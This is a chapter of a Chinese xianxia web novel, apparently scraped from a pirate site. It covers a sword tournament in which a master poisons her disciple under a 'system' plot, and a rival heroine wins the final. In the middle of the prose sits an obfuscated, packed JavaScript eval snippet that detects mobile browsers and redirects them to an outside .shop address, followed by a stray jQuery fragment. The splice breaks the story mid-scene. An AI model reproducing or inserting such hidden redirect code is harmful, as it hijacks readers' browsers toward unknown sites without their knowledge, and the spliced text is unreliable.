满目狼藉的问剑台重归完整,长诉单手持剑,礼貌示意对方先行出招,“请。”
对手不悦地歪唇冷笑,显然被他从容激怒,随即剑锋一抖,骤然刺来。
这一剑极快,如寒星乍现,直攻命脉。
好狠的人。
长诉稍稍微微侧身,凌冽的剑光便着他衣襟而过。他仍笑着,眼底映着对方愤恨不甘的神情。
心中妒火烧得更为旺盛。
凭什么。
身份地位皆是下等的家伙,凭什么打败他?凭什么成为仙君首徒?
第二剑、第三剑接踵而至,一招比一招狠辣。
他的应对太过精准,每一式来势汹汹的剑招,在他眼中都被拆解得支离破碎,再无威胁。
对方剑招已乱,心境更是跌落谷底。长诉却仍气定神闲,足尖轻点地面,身形如流云般悠然欺近。
“铮——”
一道清越的剑鸣响起,太平剑璀璨的光芒乍现,对方手中长剑被一股巧劲震得脱手飞出,斜斜将地面劈开条缝,剑柄犹自颤动不休。
长诉连衣褶都未乱半分,他不急不躁望着对方苍白的脸色,“承让。”
败者怔怔望着自己颤抖的虎口,半晌,扯出个扭曲的笑:“长诉师兄剑法通天,师弟……心服口服。”
最后四字被他说得咬牙切齿,带着要将谁生吞活剥的狠劲。
等着吧,长诉。
飞的越高掉的越惨,未来我定要你好看。
台下寂静了一瞬,出现零星的喝彩声,其中爆发的两道声响,正清亮的叫好。
初尝胜绩的云潇激动得双颊绯红,双手越发用力鼓掌,发自内心祝贺长诉同样晋级。
而另一位则是第一场获胜的二七位。
她亢奋不止,视线却带着尖软的刺,不痛但是扎眼。
长诉迅速在脑海中搜刮一下前世的记忆,过去与她并无丝毫交集。
这些微的偏差,他刻意留意了一下。
他微笑朝着二七位颔首,继续分析下一场的对手。
考核渐入尾声,战况愈发激烈。
越到后面得到胜利越发艰难,云潇手中长剑铿然坠地,最终止步第六。
“居然能走到这一步,”云潇并不气馁,“下一次定然走得更远!”
长诉则是温和又不容置疑的实力,一路披荆斩棘,在云潇和二七位显眼的喝彩声中迈入决赛。
考核进入决赛意味主线开始,轻长霜需要依照原著给长诉下毒。
这般行径,是否太过阴损。
系统不满的声音骤然响起:结局既定,宿主又何必在此刻心软。横竖你已做了那么多,不差这一桩。
见她垂眸不语,系统循循善诱:若非你推波助澜,主角岂能突破劫难?说来他还得感谢你成全。
成全?
这歪理裹着蜜糖,竟让轻长霜恍惚间觉得言之有理。
仿若只要被冠上逼不得已的标签,所有恶毒事件也变得情有可原。
她闭了闭眼,再睁开时,眸中已是一片不可撼动的冰霜。那微末的动摇与愧疚,终究抵不过回家的念头。
横竖都是话本中的笔墨,喜怒哀乐皆是书面上的字符。
不必在意,不必自责。
不要认同它的歪理。
众目睽睽之下投毒绝非易事。
索性剧情早有安排,为了使之合理,刻意书写一段决赛前可以使用回灵丹的规则。
不仅可以及时补充所耗损的灵力,同时也是决赛前的叙事良机。
轻长霜执丹而来,谁都不曾怀疑这位最德高望重的仙尊。
还有师父会害弟子吗?
唯有长诉知晓,这一切不过是表面罢了。
她缓步靠近的身影如霜雪,那袭不染纤尘的白衣在长诉眼中却扭曲成了酆都恶鬼。
“回灵丹。”
洁白的药瓶划过半空,稳稳落在长诉掌心。
五指收拢的刹那,前世记忆如潮水涌来。
同样的场景,同样的漠然,同样的恶毒。
如出一辙的场景,曾经他怀着感激的心思服下丹药,得来的却是沉重一击,彻底击碎他的感恩。
他斟酌片刻,恭顺的开口:“弟子谢过师尊。”
如此便是接受了。
轻长霜站在原地,静静注视他的动作。
看来不吃她不会罢休了。
长诉喉结滚动,认命地吞咽,丹药化作一道暖流直坠丹田。
回灵丹的效力确实不假,灵力如清泉汩汩涌出,可他知晓,其中蕴藏着蚀骨的毒。
轻长霜清明的眸光如雪刃刮过他的咽喉。他自知小动作在这位仙君面前不过是孩童的把戏,自然而然没有使用。
待到决赛开场,这剂温柔毒药便会发挥它的作用,让他痛不欲生。
上一世他拼着经脉寸断的痛楚险胜,换来的不过是轻长霜拂袖而去时,那抹冰绫般冷冽的残影。
他终于懂了,无论浴血取胜还是摇尾乞怜,在这位高高在上的仙君眼里,半妖永远都是该被碾碎的蝼蚁,成为那群仙门好苗子的垫脚石。
人群嘈杂如潮水,他却在人声鼎沸中,清晰感受到那沉寂许久的新仇旧恨再次翻滚心头,透过时空重叠的念头,扯动着他的理智。
好想杀了轻长霜。
到底还要忍到几时。
长诉当真如那克己守礼的号徒弟般,执弟子礼深深一拜。
“师尊恩重,弟子…”
唇瓣笑意自此至终温润如玉,躬身时眼底却凝着化不开的玄冰。
长诉舒缓的声音满是敬重。
“来日定当涌泉相报。”
轻长霜垂眸缄默,他此时此刻的真诚谢意,在真想揭露的日后,这份师徒情谊,恐会化作最为锋利的利刃,毫无余地抵在她喉剑。
不过那时,也是她咎由自取。
她淡然颔首,已然现身于远端高台之上,眼底一片处惊不变。
界碑处,灵纹闪烁金光,二一对二七的字眼引人瞩目。
灵力已恢复完成,长诉执剑不急不缓踏上问剑台,眉眼如轻絮毫无重量。
按照上辈子的趋势,站在他对面的本该是另一位弟子,而非眼前这位气势非凡,一路为他喝彩的姑娘。
又是这种微妙的改变。
所幸他并不在意对方是谁,他只需要按照轻长霜的意愿,不着痕迹落败便可。
长诉执剑行礼:“还请师妹赐教。”
姑娘背对着远端高位,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632059|206407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
唇角竟勾起一抹恶劣的弧度,与喝彩时的态度截然不同。
她腔调凌然:“谁是你师妹?”
按照拜入天息时的排名,长诉位居首位且作为轻长霜首徒,自然而然被同届称作师兄。
姑娘唇齿间发出不可端倪的冷笑:“喂,别太得意。”
“得意?”
分明连唇角弧度都未曾改变,为何无端给他安上罪名。
赛前寒暄早已到点,姑娘却没有停下的意思。
“得意自己是仙君首徒。”姑娘纤薄的剑身溅起几粒星火,“终有一日,我定会比你更得仙君青睐。”
长诉唇角漾出轻笑:“姑娘此言何意?”
存曦眉眼如风,英姿飒飒。
“意思便是——”
“我存曦,今日定要打败你!”
话音未落,她已执剑疾掠而来,剑锋破空之声铮然作响。
她剑势如虹,锋芒所过之处,剑气纵横势不可挡。
问剑台上,两道身影如游龙惊鸿,交织的剑光犹如霜雪般凌冽。
剑气激荡,竟震得观礼的结界生出蛛丝般裂痕。
“铮——”
剑刃相擦,迸溅出点点火星。
存曦借势旋身,黝黑双眸映着处惊不变的少年,声音里带着压抑的颤意:“长诉,我非常讨厌你。”
她剑招陡然凌厉,每一式都裹挟着说不尽的执念:“数年前,仙君救了我,给了我一条命。”
剑光如雪,映出她眼底的不甘:“我想拜她为师,我想站在她身侧报恩。”
长诉横剑格挡间掌心微震。
“拜入天息时,我也不过是落你之下,可那是我此生最接近仙君的位置…”存曦剑势却愈发凌厉,必须聚精会神才能抵挡这来势汹汹的剑技:“但她只要最好的第一位。”
“我为此努力许多年,不敢松懈片刻,”她发丝凌乱,却丝毫不惧,眼睛亮得惊人,像是两簇燃烧的野火:“仙君却终究不曾选择我。”
“长诉。”存曦的声音几乎撕裂,剑锋微颤,“我恨死你了。”
一股灼痛字丹田逆流而上,长诉忽觉筋脉如焚,手腕不受控制地一颤,剑势顿时溃散两分。
“拿稳剑。”
存曦眸光一凝,剑随身走,意随心动,寒芒直逼长诉咽喉。
“莫要看轻了我。”
刀光剑影交织如网,但见寒芒似飞雪,剑虹如贯日。
两道身影倏分倏合,剑锋相撞迸发争鸣,一时之间难较高下。
“铮——”
刺耳的颤音响彻云霄。
纤薄的长剑脱手而出,在空中划出一道刺目银弧,斜插进蛛网般的结界之上,剑身犹自震颤不止。
问剑台外一片死寂。
太平剑锋利的剑锋正对准观礼弟子,剑气割断一缕发丝,缓缓飘落。
弟子霎时脸色煞白,腿软摔倒在地。
存曦挂彩的地方隐隐作痛,作为问剑台唯一的握剑者,她的心脏在胸腔里擂鼓般撞击着,翻涌的狂喜足以淹没一切疼痛。
“胜利者——存曦!”
赢了!
仙君是否会为她感到高兴?
存曦手指不受控制地颤抖着,眉飞色舞地望向远端。